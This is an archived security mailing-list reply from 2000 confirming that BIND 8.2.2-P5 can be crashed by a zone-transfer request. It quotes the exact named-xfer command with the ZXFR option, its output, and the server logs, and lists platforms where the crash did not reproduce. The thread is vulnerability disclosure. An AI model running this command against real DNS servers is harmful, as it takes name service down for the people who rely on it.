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Re: BIND 8.2.2-P5 Possible DOS
From: Walter Hop <walter () SKYDANCER NL>
Date: Wed, 8 Nov 2000 21:05:27 +0100

[in reply to fabio () TELEMAIL IT, 07-11-2000]

<naif () naif> [~/bind/src822p5/bin/named-xfer] $ ./named-xfer  -z zone.pippo.com  -d 9 -f pics -Z dns.pippo.com
named-xfer[29297]: send AXFR query 0 to 192.168.1.1
named-xfer[29297]: premature EOF, fetching "zone.pippo.com"

Then the server "*** CRASHED ***" .

I should assume that bind 8.2.2-P5 it's vulnerable ( Please someone test
and confirm this kind of dos)

Yes; I got BIND-8.2.2-P5 on a RH5.2/Linux 2.0.38 box to die using the above
command. These were the last log messages:

Nov  8 20:36:06 cascade named[396]: unsupported XFR (type ZXFR) of
                "xxx.nl" (IN) to [xxx.xxx.xxx.xxx].4174
Nov  8 20:36:55 cascade named[396]: db_freedata: DB_F_FREE set
Nov  8 20:36:55 cascade named[396]: db_freedata: DB_F_FREE set

I haven't been able to reproduce this on:
BIND-8.2.2-P5 on RH6.1, Linux 2.2.12-20smp
BIND-8.2.2-P5-NOESW on FreeBSD 3.4-RELEASE
BIND-8.2.3-T5B on FreeBSD 4.1-RELEASE

--
 Walter Hop <walter () skydancer nl> | +31 6 24290808 | PGP: 0xD4DD8DEB
 Mail agreement-request () skydancer nl to retrieve the email agreement.


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